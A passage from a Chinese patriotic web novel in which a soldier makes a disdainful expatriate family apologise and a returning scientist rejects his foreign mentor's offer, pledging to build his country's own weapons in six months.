“你……你简直不可理喻!”杨乔治气急败坏地大叫,“凭什么让我道歉?我可是鹰国人!我是华侨!你们不能这么对我!”
“道歉!”梁哲懒得和他多废唇舌“然后,滚!”
第105章 被迫道歉!崇洋夫妇翻车,一家子被娃教做人
“你做梦!”玛丽见丈夫气势不足,连忙上前一步,尖着嗓子叫嚣,“我要去告你!你们军人欺负我们平民!我要去鹰国使馆投诉你们!”
“好啊。”梁哲唇角勾起一抹冷笑,“忘了告诉你,我们军人,生来就是为了保护大夏的平民。你们侮辱了大夏,今天,必须道歉!”
“我……我们要是不呢?”玛丽梗着脖子,硬着头皮说道,可是声音,已经不像之前那么有底气了。
“没关系。”梁哲平静地道,“那就等到你们愿意道歉为止。”
说着,他转向黄经理,沉声吩咐:“请大家撤出餐饮区,关闭大门。留这三位‘尊贵的华侨’在这里,什么时候他们想道歉、想离开,再向我请示。”
黄经理一听,眼睛登时亮了。他正愁不知道该怎么处置这一家三口,若是强行把他们赶出去,万一他们倒打一耙,反而麻烦。梁哲这个建议,简直再好不过,既解气,又不会留下把柄!
他立刻对着众人说道:“各位同志,麻烦大家换个地方用餐,我们招待所再给大家免费提供一份饮食,请大家有序离开!”
“好!”众人瞬间爆发出欢呼声,纷纷鼓掌叫好。
对付这种数祖忘典的小人,就是不能客气!
众人鱼贯而出,路过梁哲身边时,都忍不住竖起大拇指,“同志,还是你有办法!太解气了!”
两名警卫抱着甜甜,也跟着众人往外走。甜甜趴在警卫的肩膀上,对着梁哲挥了挥小手,大声喊道:“爸爸!”
梁哲看向女儿的目光,瞬间柔和了几分,对着她点了点头,声音温柔:“好孩子,今天做得很棒,爸爸为你骄傲。”
女儿能在这种情况下挺身而出,让他既欣慰,又心疼。
同时,也惊出了一身冷汗,幸好有警卫在,才没让女儿吃亏。
杨乔治看着众人一个个离开,餐饮区里渐渐变得空旷,心里终于慌了。他们一家三口还没吃饭,要是真的被关在这里,不光是丢脸,还得挨饿。
“喂喂!你们怎么敢!快让我们出去!我们是鹰国人!你们不能非法拘禁我们!”杨乔治对着门口大喊。
可笑他直到现在,还死死抱着鹰国人身份不放。在场的众人都面露鄙夷,有人更是朝他翻白眼。
杨乔治几次想冲出去,都被门口的警卫拦了下来。很快,整个餐饮区,就只剩下杨乔治一家三口,还有梁哲、黄经理,以及几名招待所的人员。
梁哲对着黄经理抬了抬下巴,语气冷淡:“关门。”
黄经理正想出口恶气,立刻撸着袖子,快步走上前,就要关上餐饮区的大门。
“不!不许关!”眼看大门就要关上,玛丽彻底吓坏了,尖叫着冲过去,用身体挤住了大门,“不许关!我要出去!我要报警!”
亨利在她身后,又开始放声大哭,边哭边喊:“爸爸,我好饿……我再也不闹了……”
杨乔治焦头烂额,之前的傲气,早已被恐惧和慌乱击得粉碎。
他看着哭闹的妻儿,又看着面色冰冷的梁哲,只能硬着头皮,放低姿态,小声道:“您,您这位……有话好说。”
“我们和你没什么好说的。”梁哲不为所动,“你说的是英文,而我们讲的是汉语。”
“同,同志……”杨乔治尴尬地换成中文,“您贵姓,这都是误会。”
说着,伸手从口袋里摸出钱包,从中间抽出厚厚一叠美金。
“误会,都是误会。”他想把钱往梁哲手里塞。
梁哲毫不犹豫一抬手,那叠绿钞票就像废纸般,飘飘扬扬洒了满地。玛丽惊叫一声,立刻蹲下身去捡。
看着他们这副贪财又狼狈的模样,梁哲嗤之以鼻,转身向外就走,“黄经理,关门!”
“不行!”杨乔治彻底绝望了,“有话好说!同志,我们可以谈谈!”
他绝不能让自己一家三口被关在这屋子里,叫天天不应,叫地地不灵。况且,这件事一旦传出去,他就彻底完了!
安利普会看不起他,鹰国使馆也不会管他,他费尽心机得来的一切,转眼就会化为泡影。
但是那扇
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对开的大门已经关上了一半,杨乔治冲上去阻拦,又怎么挡得过餐饮区的众人。
眼看另一半也要关上,身后是儿子撕心裂肺的哭叫,妻子流着泪捡钱,对面,是一众面色冷漠,抱着双臂冷眼旁观的大夏人。
“等等——!!!”
绝望的感觉压倒了一切,杨乔治迫不得已叫道:“我道歉,我……我道歉……”
经理关门的手停在半空,冷冷地看着他。
杨乔治额头的冷汗哗哗淌下,被迫低着头,小声道:“我错了。”
“你应该先和小姑娘道歉。”
不知是谁吼了一嗓子,众人纷纷道:“没错,你们浪费粮食,行为可耻,小姑娘说得对,你们该向她道歉。”
警卫闻言,把甜甜举到脖子上,径直走到杨乔治面前。
“道歉!向小姑娘道歉!”众**声呼喊道。
甜甜睁着大眼睛,小脸上表情严肃,自己的行为得到了大家的夸奖,这一刻,她觉得骄傲极了。
杨乔治咽了咽口水,脸色涨得通红,他活了这么久,还从来没有向一个三岁的小娃娃道过歉。
可眼下,形势比人强,他只能硬着头皮,向甜甜低声道:“对不起,是叔叔错了。”
“大点声!我们听不见!”众人并没有因此放过他。
杨乔治脸涨通红,又大声重复了一遍:“对不起,叔叔错了!”
“那你要把馒头捡起来。”甜甜执拗地说。
她见过基地爷爷和叔叔阿姨们,吃红薯和粗粮的样子,这么好的粮食被他们浪费,太可惜了。
杨乔治无奈,只得向妻子使了个眼色,玛丽抹了把眼泪,走过去捡起了地上的馒头。
甜甜这才满意。
“好啦,甜甜可以原谅你,但你们以后不能再这样了。”
小姑娘说得很认真,做了坏事只有道了歉,才有资格被原谅。
杨乔治松了口气,以为这样就可以走了,可梁哲依旧如山一般,矗立在他面前,“等等。”
“……还有什么事?”杨乔治心里发紧。
第106章 重金挖人?世界顶尖科学家,劝钱教授离国
“你们还欠大夏人民一个道歉。”梁哲的声音义正辞严,“那些刚才侮辱祖国的话,不是一句‘对不起’就能抵消的!”
“什么?!”杨乔治勃然大怒,“你别得寸进尺!”
“既然没听清,我就再说一遍,”梁哲向前一步,语气森然,“你,和你的家人,向大夏人民,向生你养你的这片土地,郑重道歉!”
他周身散发着凛然正气,杨乔治被这股气势所慑,不由自主地缩了缩脖子。
他偷眼环顾四周,只见所有人的脸上都写满着忿懑,显然恨透了他之前侮辱祖国的种种言行。
“道歉!向这片土地道歉!”
“向这里的人民道歉!”
“向这个伟大的国家道歉!”
激昂愤怒的呼喊声一浪高过一浪,杨乔治被震得心脏收缩,双腿发软,下意识后退数步。
玛丽拉着儿子,也一脸恐慌地看着众人。
梁哲最后一次抛出警告,冰冷的声音一字一顿,“你们全家,现在,道歉!”
在这样的震慑下,杨乔治原来的傲气早已被击得粉碎,他无奈地向众人深深鞠了一躬。
“对不起。”
这一次,在强大的民怨面前,他低下了那骄傲的头颅。
在他身后,玛丽和亨利没有办法,也只好跟前向前鞠躬。
“对不起,我们错了。”
现场沉默了三秒钟。
紧接着,爆发出雷鸣般的掌声和欢呼声!
这掌声,是送给梁哲的,是送给勇敢的甜甜,也是送给每一个守护祖国尊严的人!
这掌声落在杨乔治一家三口的耳朵里,比打他们的脸还要难受,羞愧的他们恨不得当场找个地缝钻进去。
黄经理打开大门,客房部经理上前一步,“请三位立刻收拾行李,限时离开!”
杨乔治哪敢再多说一个字,连忙拉起玛丽,拽着亨利,灰溜溜地朝着楼梯口跑去。
楼下的掌声更热烈了!
大家都把梁哲视为了英雄,英雄不只是在战场上为人民殊死搏斗,更是在和平年代为同胞挺起了脊梁,挽回了尊严!
就连甜甜也得到了大家一致的夸奖和衷心的称赞,各种零食礼物纷纷塞到她的手里,小姑娘摆着手,奶声奶气地说:“不要了不要了,谢谢叔叔阿姨。”
不过十分钟,杨乔治一家已经像丧家之犬似的被撵了出去,沿途的嘲笑声、鄙夷声如芒在背,扎得他们脸上火辣辣的疼。
“乔治,我们怎么办?”
走出招待所大门,玛丽看着狼狈不堪的一家三口,再也忍不住,眼眶一红,泫然欲泣。
“爸爸,我饿……”亨利还在重复着,他早被父母宠坏了,自私又愚蠢,还完全分不清眼前的形势。
“**地给老子闭嘴!”杨乔治气急败坏地大骂,直到这时他才发现,自己脱口而出的,依旧是自己最熟悉的母语,而不是他一向引以为傲的英语。
“去西华厅!找安利普先生!”他怒气冲冲,恶狠狠向招待所投去一瞥,“我要把这群浑蛋干的事报告给他,让他提高合同金额!”
只要安利普愿意,他可以在合同上写下一个天文数字,威胁大夏人。
他们要是敢不答应,他就怂恿鹰国国防部,给这个国家一个武力教训,甚至还在提高关税,加重制裁,不信收拾不了他们!
“可是,我们怎么去啊?”玛丽苦恼地说,西华厅离这里还有些距离,三个人又都提着行李箱,这里连辆搭乘的汽车都没有,想去西华厅,只能徒步走过去。
玛丽看着自己脚上的细高跟鞋,一脸痛苦之色。
“那也得走,难道你还指望人背你?”杨乔治没好气地哼了一声。
自己的老婆也太没用了,就会给他拖后腿!
无论如何,今天这个仇,他一定要报回来。
就在他们一家三口向西华厅走来的时候,安利普和钱教授之间的谈话,也已从最初的平和试探,变得渐渐激烈。
“钱,我不明白,你一定要回到这个农业大国,到底能做什么?”
这个问题,在此之前他已经问过钱教授无数次。
在他眼
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中,大夏不过是在战争废墟上勉强支撑着的孱弱巨人,别说搞科研,连几家像样的工厂都没有。
一穷二白,毫无家底,贫瘠落后,连温饱都成问题。
这样的条件下,还谈什么发展国防,研制**?
“我知道,以你的能力,一定会被大夏人重用,他们会让你带头搞科研,但你看看现在的条件,怎么和鹰国成熟的实验室相比?这是在浪费你的才华!”
“听我说,钱。只要你肯和我回鹰国,我会给你申请最高额的科研经费,配备最好的实验室、最顶尖的科研团队。”
“你的个人成就会达到前所未有的高度,你将永远跻身世界顶尖科学家的行列,而你的名字会被镌刻在史册之上,流芳百世!”
“那,才是你该得到的荣誉!”
“作为你的老师,你的朋友,我真诚地邀请你,钱,忘掉之前种种的不愉快,和我回鹰国吧。科学没有国界,这句话,还是你亲口告诉过我的。”
安利普的这番话,情真意切,恩威并施,将一个世界科学泰斗对昔日弟子的“殷切期望”,展露得淋漓尽致。
他一直以为,钱教授之所以毅然决然离开鹰国,是因为当时受到了鹰国政府的不正当**,排挤,和无理由监视。
对于钱这样心高气傲,年少成名的才俊来说,他为鹰**方和政府做出那么巨大的贡献,最终却换来无端的羞辱,这是他无论如何无法接受的。
也正因为这样,钱教授才会义无反顾地回到了大夏。
安利普教授在来访之前,曾经去了鹰国红馆,亲自向鹰国总统递交了一份报告,就是想在鹰国政府的许可下,将才华横溢的钱重新招揽至麾下。
鹰国政府当然对此表示同意,在他们看来,如果这样优秀的人才不能为己所用,哪怕让他消失,也不该交给正在崛起的大夏。
当然,对钱这种享誉世界的科学家来说,行刺和暗杀是有风险的,也容易招致全世界科学家的唾弃和**,所以鹰国一时间还不打算走这步棋。
第107章 科学无国界?钱教授硬刚鹰国,科学家有祖国
安利普教授拿到最高授权,当即赶来大夏,出乎他意料的是,竟然这么快就能和自己昔日的学生,兼合作伙伴见面,而他抛出的橄榄枝,条件也足够优渥。
他相信,以钱对于科学的狂热和对自身价值的追求,很难抵挡这样的诱惑。只要鹰国政府承认此前对待钱的方式是错误的,那他就再没有拒绝的理由了。
他相信,这世上的任何一个科学家,都没有理由拒绝。
然而,在安利普教授高谈阔论了许久后,他对面的钱教授,始终和之前一样静静聆听,脸上的表情没有丝毫波动,既不激动,也没有不快。
“钱……”安利普教授说完最后一个字,望着表情平静的钱教授,心开始一点点沉了下去。
如同钱教授了解自己一样,安利普教授,有时也能从钱教授的表情上解读他的内心,自己,并没有说服他——
至少此刻看来,钱教授对他开出的条件,并不认可。
“你有别的想法,是吗?”安利普教授搓了搓手,有点无奈,钱一直是他最优秀的学生,不,甚至在专业能力上,他早已胜过自己一筹。
“如果有其他要求,你可以提,不必有任何顾虑。”
“安利普老师。”钱教授终于开口,他的声音也很平静,唇边还带着一点若有若无的笑意。
“很高兴你还记得我当初说过的话。”他注视着安利普的眼睛,淡淡地说,“是的,我确实一直认为,科学没有国界”
“但我从未说过,”他话锋一转,“科学家没有国界。”
“你……”安利普哑然。他没想到,钱教授第一句话,就推翻了他此前所有的假设。
“我们对科学的探索和钻研可以互通有无,但在立场上,科学家是有祖国的。”
“是的,钱,我理解你的立场。”安利普苦笑,“人不能选择自己的出生地,但可以选择更适合自己发展、最大化实现自身价值的地方。”
“在那样一个随意剥夺**,任意改变法律条款的地方,实现自己的价值?”钱教授反问,语气平静,却藏着一丝锐利。
“哦,上帝,相信我,他们已经认识到了自己的无理和错误。”安利普很高兴钱教授终于提到了这个问题。他一直觉得,钱之所以不和自己回鹰国,就是对鹰国的所作所为耿耿于怀。
而如今,他愿意谈起这个话题,是不是释放出一种“破冰”的信号?
他从公文包里取出一张纸,“看看这个,是我来之前鹰国总统亲自签发的总统令,只要你回去,他可以继续授权你军方最高权限,让你从事最尖端的科学研究。”
钱教授并没有抬手去接,他将脊背靠入沙发,给自己换了个舒服的坐姿。
“安利普老师,我想,我现在并不需要这个。”
“那你需要什么?”安利普追问。
“比起贵国承诺的种种特权,我更希望他对待其他国家,能做到诚实守信,遵循国际原则,不要总搞核讹诈那一套。”
“……”安利普沉默了。
钱教授这句话如同一柄利剑,毫不犹豫地劈开鹰国政府那套伪善的面具。
“当然,如果贵国一定要将自己凌驾于其他国家之上,至少,我的祖国,并不会因此退缩畏惧。”
“钱,”安利普咽了咽口水,“你们难道,真的要在现有的条件之下,研究核武和**?”
“教授,我想您也明白,没有任何一个国家可以忍受自己终日被他人威胁,我们只有手中有剑,才能抵御他国的侵略。”
“但你们不是打了好几仗,最后都赢了吗?为什么还要发展核武?”
“我们能赢,是因为正义必将战胜邪恶,发展核武,是因为不愿受他人胁制,教授,这两者并不冲突。”
“好吧,”安利普耸耸肩,“我承认,你们国家做出这种选择,从战略上讲是正确的,它也符合你们一直倡导的独立自主原则,但是钱……”
安利普仍是觉得不可思议,“你们不可能凭自己的能力搞出这些,你们需要朋友,需要帮助。”
“朋友?”钱教授唇边浮起一抹笑,“教授,您指的是鹰国吗?”
“当然,不管之前有过怎样的误会,国际上
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的形势是多变的。”安利普坐直了身体,正色说,“苏国已经撤走全部专家和技术,如果你们想在现有的条件下搞这些,就一定会需要支持和帮助。”
“我们拥有世界上最先进的理论和技术,只要你们愿意,完全可以将这些与你们共享。当然,这其中还有很多是你当初为鹰国做出的研究。”
“资源共享?”钱教授笑问,“请问,是免费和无偿的吗?”
安利普教授沉默了,有一种被噎到了的感觉。
他忽然发现,即使过去了这么多年,钱仍然和之前一样,犀利,冷静,对所有问题一针见血,毫不客气。
明明自己抵达后,随机询问了几位大夏的高层,对钱的评价都是温和可亲,没有任何的架子。
是自己问错人了,还是对方搞错了对象?
见安利普回答不上来,钱教授眼中闪过一丝意料之中的笑意,“您瞧,这不是真正交朋友的方法。倒像是手拿商品,想在我们这里卖上个好价钱。”
“钱,不要把我们之间的友谊说得这么廉价。”
安利普辩解。
“是的教授,我一直很尊敬您。”钱教授换了个姿势,微笑着注视着他,“对于您当年的悉心栽培,我始终心怀感激。”
“但是今天,我站在国家的立场,恕不能接受你们开出的条件。”
“钱!你还没有听到价格!这可是我们目前最权威,最有价值的资料!而且只要你们愿意,我们还可以提供原材料和模型样品。”
安利普激动了起来,“相信我,在这方面没人敢糊弄你,他们拿出来的都是最好的。”
“很抱歉,我们并不需要。”
“什,什么?”安利普瞪大了眼睛,以为自己听错了。
“你是不是以为,我们会向苏国那样,用已经淘汰的样品搪塞你?不,钱,我以我的名誉保证,我们一定会按合同履约,绝不掺假。”
“教授,你误会了,”钱教授平静地打断他,“我的意思是,不管你们向我们出售什么样的技术和模型,我们都不需要,更没有购买的必要。”
第108章 民族梦想!拒绝天价援助,我们要自己造**
“你,你在说什么?哦,我的上帝。”安利普简直不敢置信。
“如果没有我们的帮助,你们能研制出自己的**?”
“我们可以。”钱教授微微颔首,语气笃定认真。
安利普不说话了,他沉默地看向钱教授,似乎在评估这句话的真实性。
虽然他知道,钱教授平生严谨,从不说任何假大空的话。
“我们自己,可以。”钱教授似乎明白他的质疑,又重复了一遍,“不需要任何外国技术资料,也不用援助专家,只凭我们自己,一样可以造出大夏自己的**。”
空气似乎有些凝滞,安利普注视着钱教授深?2?0的眼睛,第一次觉得,自己可能教出了个疯子。
在这样一个落后、贫瘠、缺衣少食的国度,只凭自己,造出世界最顶尖的武器???
“钱,有时候,尊严真的解决不了实际问题。”安利普喃喃地说,“我知道,你们大夏人,总喜欢强调那些虚无的东西——面子,理想……”
“不,教授,我从不在意那些。科学也容不得弄虚作假。”钱教授微笑,“我们只是相信一句古话,求人不如求已。”
他用英语说出这句话时,思绪却已经飘向千里之外的大漠,
那片广袤的戈壁滩上,一座新生的**基地正昂首矗立,如同一只蓄势待发的雏鹰,静待振翅翱翔的那一天。
教授,外国人永远不会懂,大夏人的风骨与气节,更不会懂,信仰的力量,能创造出怎样的奇迹。
这句话,他藏在了心底,没有说出口。
安利普教授沉默了片刻,轻轻叹了口气。
“好吧,我可以认同你的想法,相信你们能凭自己的力量造出**。但我必须提醒你,现在的国际形势十分微妙,如果你们要用十年、八年才能造出**,恐怕一切都晚了。”
“不,不会的,”钱教授笑得云淡风轻,“用不了那么久。”
“哦,上帝,这可不是凭你一个人就能做到的。要知道造一枚**,光发动机的零部件就要四千五百个,难道只靠你一个人设计?你这是要把自己累死!”
“我们有团队。”钱教授平静地说,“就如同您当年栽培我一样,我们也有一支非常优秀的团队,完全可以胜任这项工作。”
“不可能!”安利普激动地反驳,他看着钱教授笃定的双眸,勉强让自己冷静下来。
“好吧,就算这几年陆续有科学家回国,可我还是那句话,仅凭几个人,根本做不成这件事。”
“教授,您听过一个故事吗?”
钱教授突然转换话题,安利普一怔,“什么故事?”
“在我们大夏,有一个古老而家喻户晓的故事。”钱教授拿起桌上的茶壶,慢条斯理地为安利普倒了杯茶。
“很久以前,大夏人就认为天上的月亮里有一座宫殿,宫殿里有位美丽的女神,名叫嫦娥。每逢十五,嫦娥就怀抱着一只可爱的兔子,出现在月亮中央。”
安利普教授有些困惑了,他不明白,在这样一场严肃的讨论中,为什么忽然插入一个不切实际的神话故事。
“钱,你要和我说什么?”
“我们大夏人,自古以来就有翱翔天际,踏上月宫的梦想,而要想登月,光靠**是不够的,我们还会造出洲际**、运载火箭、载人火箭,直至在宇宙中,搭建出另一座天宫。”
“所以教授,你之前说,凭借几个人造不出**,确实没错。这从来都不是我一个人的梦想,而是我们整个大夏民族,千百年来的共同梦想。在这件事上,我们拥有世界上最庞大的团队——每一个心怀家国的大夏人,都是这个团队的一员。”
安利普怔住了。
别人搞**,是政府立项、军方拨款、实验室攻关。而大夏搞**,是一个民族在兑现它对着月亮许了几千年的愿。
看着钱教授放松的表情,舒展的笑意,笃定的神情,安利普不无感慨地叹了口气。
“钱,我觉得,你在大夏,比在鹰国时,快乐了很多倍。”
这不是
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客套,是真正的洞察。此刻的钱教授不再只是一个“世界顶尖科学家”,他成为了一个民族梦想的执笔人。
“是的,教授,”钱教授眼中闪过欣慰,“这是我的祖国,我说过,哪怕要我在这里种苹果,我也欣然接受。”
“所以,我之前所有的提议,都被你否定了?”
安利普不无遗憾地说。
“您可以把它当做一次愉快的旅行,如果时间允许的话,也可以在京城转转。相信我,这是一座伟大的城市,有着数千年的历史与文化,您一定不会失望。”
“但是,我还是想见见你们的高层,把我这次的来意向他们表达一下。”
安利普还是有点不死心,那么一笔庞大的订单,就这样被钱教授否决了,**回国如何交代。
“没有那个必要,教授。”钱教授双手交握,笑容笃定,“我给您的答复,就是我们最终的决定。”
“钱,你在你们国家,有这么大的权利?”安利普微微吃惊,一个科学家,竟然能拍板两国之间的合作谈判?
“是的。”钱教授微笑着颔首,“这是他们赋予我的权利,更是对我的信任。”
他没有多说,在科研与国防这件事上,哪怕是最高**,也会尊重并听取他的意见——这份信任,是他前行的最大底气。
“那你能不能告诉我,你们最晚,会在什么时候研发出**?”
安利普仍然不能全信,他抛出这个问题,既是想得到一个明确的承诺,也是想留一条后路。
如果最终超出了时限,他就有了日后再次谈判的理由。
钱教授当然明白他的意图,他沉吟片刻,伸出了拇指和小指。
那是大夏人特有的,表达数字的方式,和他在鹰国共同学习多年的安利普当然明白。
“六年?”这是个很保守的数字,中规中矩,事实上,如果从一穷二白的基础开始干起,六年已经很快了。
“不,”钱教授摇了摇头,缓缓吐出四个字,“是,六个月。”
第109章 六个月赌约!大夏**的生死竞速
“砰”的一声,安利普控制不住地站起身,动作幅度之大,直接带倒了身前的茶杯。
守在门外的警卫员立刻推门而入,“钱院长!”
这是钱教授在国内担任的职务,除非正式场合,他很少会让人这么称呼自己。
“没事,茶杯不小心翻倒了,拿块毛巾来。”
钱教授淡淡吩咐。
“不!你出去!”安利普有些失态的向警卫员一指,用英语吼道,“这里不需要人打扰!”
他在鹰国是倍受器重的科学家,连总统都要让他三分,此刻心绪激荡到了极点,根本无法容忍屋中出现第三个人。
钱教授向警卫员点点头,安抚道,“别担心,放下毛巾,你们出去吧。”
警卫员迟疑地看了看安利普,又看了看钱教授,这位外国老教授没有携带武器,即便动手,也未必是钱教授的对手,才勉强放下心来,慢慢退了出去,一边退,一边还不忘叮嘱。
“钱院长,我们就在门外守着,有事您直接喊人……”
“走——!”安利普怒气冲冲地大吼。
警卫员急忙带上门退了出去,心里暗自嘀咕,这位外国老教授的脾气,可真是够大的。
“钱,你在和我开玩笑吧!”
安利普快步走到钱教授面前,双手按住他身前的桌子。
“六个月?六个月你们就能发射出**?你是在耍我吗?!”
“安利普教授,”钱教授也收敛起了之前的笑容,神色变得严肃起来。“我从不拿科学开玩笑!”
“六个月?不,不可能!”
安利普双手插腰,在屋内快步疾走,“你们做不到,你们绝对做不到!”
据他了解,大夏根本没有一个成体系的**研究教学,甚至在钱教授回国之前,整个国家没有一个人见过**,更别提风洞、发动机试车台等这些基本设备!
但现在,钱不但说他们有人,还否定了鹰国的技术,更夸张的是,他要在六个月之后造出一枚**?这不是玩笑是什么?
上帝的剧本都不敢这么写。
“就算你是这方面的天才,也绝不可能……绝不!”
鹰国、苏国,包括当初技术最顶尖的熊国,都在这个项目上深耕了十余年,他们凭什么能比前辈快这么多?
钱教授静静地看着他,目光沉静,没有任何波动。
这六个月的时间,是在他测算过所有的数据后,给自己下达的最慢指令,而且,这还是在没有发现钛矿脉的时候。
如果他们有了合格的板材,也许这个时间,还会缩短至少半个月。
当然,这份极致的速度,是要用所有科研人员的心血换来的。
安利普的到访更加证明了一件事,**研发,必须越快越好,只有早一天拿出自己的武器,才能早一天摆脱他国的讹诈与威胁!
安利普教授终于停下了脚步,他抚着额头,看着一脸冷静的钱教授,在他的神情上,读出了更多的信息。
“你们真的是一个……一个神奇的民族。”安利普喃喃叹息,“好吧,钱,我相信你,因为你从来不会说谎,更不会做没把握的事。”
“谢谢您的信任,安利普老师。”钱教授也站起了身。
安利普向他伸出手,“那么六个月后,我拭目以待,看看是不是像你所说,这个地球上,会有一枚属于大夏的**,从这片土地上腾空而起。”
“如果那一天到来,希望老师能给我发来祝贺的信。”钱教授的语气轻松了几分,就像二十多年前,自己在鹰国求学时,向自己的导师讨要一个奖励。
安利普笑了,眼前这位他最最优秀的学生,无论过去多少年,都还像当初见到他时,那般聪慧睿智。
“钱,如果我们能在一起搞科研,将会是一件多么幸福的事啊。”
想到这里,他又在心里把鹰国当年的决策人骂了一万遍。
这
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么一个顶尖的人才,居然能轻易放走?
“老师,如果您愿意加入大夏,我也会非常欢迎。”
钱教授当然知道他在想什么,但于他而言,没有比在祖国的土地上奉献毕生所学、带领大夏人民走向民族复兴,更值得他为之奋斗终生了。
安利普被他的话逗笑了,他忍不住拍了拍钱教授的肩膀,像对待老朋友那样。
“好吧,钱,很高兴再次见到你,我还想在大夏多留一日,看看你口中的这个国家,究竟有怎样的魅力。你能做我的导游吗?”
钱教授微微一怔,刚想开口说明,自己此次是私人行程,恐怕无法陪同。就在这时,大门忽然被警卫员轻轻叩响。
“钱院长,安利普教授的助手兼翻译杨先生,要求见他。”
警卫不会说英语,这番话自然是由钱教授转译的,随后,钱教授又笑着补充,“老师,比我更适合做您导游的人,已经来了。”
安利普的眉头不易察觉地皱了一下,带着几分不易察觉的嫌弃。
他并不喜欢杨乔治。
在认识钱教授之前,他印象中的大夏人,至少都像钱教授这样,有风骨、有气节,骄傲却不失原则。可杨乔治,却和他想象中的截然不同。
若不是看在杨乔治是钱教授的同胞,还算是半个师弟的份上,他根本不会选择他。
可他没有办法,来到大夏,他终究需要一个熟悉当地情况、精通两国语言的翻译,杨乔治,确实是最佳人选。
“好吧,我先去见见他。”安利普无奈地说道,“希望还有机会再见到你,钱。”
他伸出双臂,给了钱教授一个拥抱,“你知道的,和你聊天,永远是一件非常愉快的事。”
“我也是,安利普老师。”钱教授微笑着回答。
安利普这才转身,快步走向门外。钱教授没有起身相送,只是拿起一旁的毛巾,从容地擦拭掉桌上洒出的茶水。
第110章 自不量力!舔鹰反被辱,叛徒竟想拿捏大夏
“你说什么?抬价15%?”
安利普坐在西华厅会客区的沙发上,眉头微微蹙起。
对面是他的助手兼翻译杨乔治一家人。
此刻的杨乔治早已不复之前的精英作派,昂贵面料的西装上全是褶皱,头发凌乱,领结歪结,整个人看起来灰头土脸。
沙发前堆着几只行李箱,他的妻子玛丽眼圈红肿,脚踝被高跟鞋磨破了皮,痛得呲牙咧嘴。
七岁的小亨利哭成了花脸猫,用一只手揉着肚子,委委屈屈坐在父母中间。
他们来的路上,亨利实在饿得受不了,又买不到可口的东西,只能在路边摊花两分钱买了个蒸窝头。
孩子饿得狠了,拿过来就咬,哪还顾得上挑剔。谁知小孩脾胃娇嫩,粗糙的棒子面下肚,立刻闹起了胃疼。
可杨乔治和玛丽都顾不上他。一个憋着满腔怒火,一个疼得自顾不暇,三人如同斗败的公鸡,一个比一个狼狈。
但安利普并不想过问他的私人问题,他只是不明白,杨乔治忽然提出调整合同价格的原因。
“教授,我刚才在这里遭受了羞辱,他们对我们充满敌视,不但痛骂我们的国家,甚至辱骂我们伟大的总统。”
杨乔治用英语向安利普添油加醋地描述着自己的遭遇,当然略去了自己主动挑衅的部分,只强调大夏人野蛮、无理,甚至主动挑起双方的外交冲突。
“所以,你打算修改条款上的金额,让他们多付钱?”安利普问。
“教授,我们必须让他们明白,这个世界上,只有我们能给予帮助。他们用这种方式对待救世主,是要付出代价的,提高价格,就是教会他们尊重!”
安利普没接话,他翘起二郎腿,想从口袋里掏出一只雪茄。但看到在远处巡视的大夏警卫,又把烟收了回去。
“杨,你知道,我们不能随便更改合同,里面的所有内容都经过红馆亲自确认。”老教授注视着他。
“我明白。其他部分可以不动,但金额可以提高。毕竟我们要给他们的帮助如此重要,只要他们头脑清醒,就不会拒绝。”
“你说的‘不会拒绝’,是指大夏人肯定会买我们的技术?”安利普眯起灰蓝色的眼睛。
“当然,先生。我们都看过国际新闻,大夏人急着发展自己的军工产业,做梦都想造出核武器,可凭他们那点家底,离了我们的技术就是空中楼阁!除非无条件服从我们。”
“所以你觉得,”安利普慢条斯理地问,“就算提价,他们也别无选择?”
“除非,他们想永远被其他国家核威胁!”杨乔治冷笑。
“可你刚才也说了,这个国家很落后。15%的提价,他们可能拿不出。”
“教授,那是他们的问题。您放心,这里的人特别喜欢强调奉献和牺牲,为了国家的利益,就算让他们不吃不喝,勒着肚皮也会凑钱的。”
安利普不说话了,他看着杨乔治,对方斜挑着嘴角,脸上一副狰狞又得意的样子。
“看来,大夏人真的对你做了很过分的事。”安利普像在陈述一个观点,语气听不出喜怒。
“这不重要,”杨乔治忙道:“就算他们把我当成朋友,为了国家利益,我也会站在鹰国这边。”
“你的太太看起来不舒服,孩子的情况也不太好。”安利普的目光掠过玛丽和亨利,轻声提醒他。
“不要紧的。”杨乔治连眼神都没往妻儿那边扫一下。在他看来,只要说服安利普修改合同,其他都不重要。至于妻儿,只要给他们找个住处、再吃顿好的,痛苦就过去了。
安利普不在说话了,他的视线从杨乔治的脸上扫过,望向宽敞整洁的西华厅大堂,这里的服务人员虽然衣着朴素,但待人接物彬彬有礼,始终保持着得体的微笑。
警卫员们身姿笔挺,目光不时在室内逡巡,当发现安利普在环视四周,立刻向旁边的同事示意。
很快就走上来一位得体大方的服务人员,用英语向安利普询问,“先生,有什么需要帮忙吗?”
安利普注视着她和杨乔治相同的东方面孔,微笑着摆摆手,“没事,谢谢。”
“您是尊贵的客人,如果有需要,请一定要告诉我们。如果您想回到住处,我会安排司机在门外等您。”
“好的。”安利普目送她离开,现在他们四周没有人打扰了。
“杨,”他突然开口,“我很好奇,你是不是很多年没回大夏了?”
杨乔治一愣,“先生,您为什么这么问?”
“因为,你实在太不了解大夏人了。”顿了顿,安利普又补充,“不,你甚至根本不像个大夏人。”
“安利普先生,您忘了吗,我是
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鹰国人!”杨乔治立刻道:“我去年已经加入鹰国国籍了,我的太太和孩子,都是鹰国人。”
他特意加重了语气,强调道:“我和您,都拥有同一个国籍!”
“你错了,”安利普摇摇头,眼底闪过一丝淡淡的讥嘲,“我虽然在鹰国工作,但我的国家,不在那里。”
“什么?”杨乔治愣住了。
从他认识安利普以来,这位老教授就一直在鹰国工作学习和生活,虽然他有着他国的血脉,但他身边的人都认为,安利普早已加入了鹰国国籍。
毕竟只有这样,他才能接触到军方和政府最高级别的科研工作。
可现在,安利普竟然说自己从未入籍?
这怎么可能?
见他目瞪口呆,安利普勾起一抹意料之中的嘲笑,“看到你这么吃惊,我真是意外极了。杨,看来你对我还是不了解。”
他确实不了解,因为安利普并不是杨乔治学业上的导师,这位享誉世界的科学家平生只收了廖廖几个徒弟,无一不是在科学领哉执牛耳者。
以杨乔治的专业水平,根本不配成为安利普的学生。
这也是为什么,当他被选中担任此次大夏之行的助手和翻译时,才会那么激动,那么珍惜这次机会。
这可是旁人求都求不到的殊荣。
他甚至已经开始畅想,回到鹰国之后,自己他任职的学校会如何热烈地欢迎他,为他提高待遇、晋升职位。
可安利普这一句话,像是明晃晃打了他的脸,杨乔治瞬间窘迫起来,尴尬道:“教、教授,对不起……”
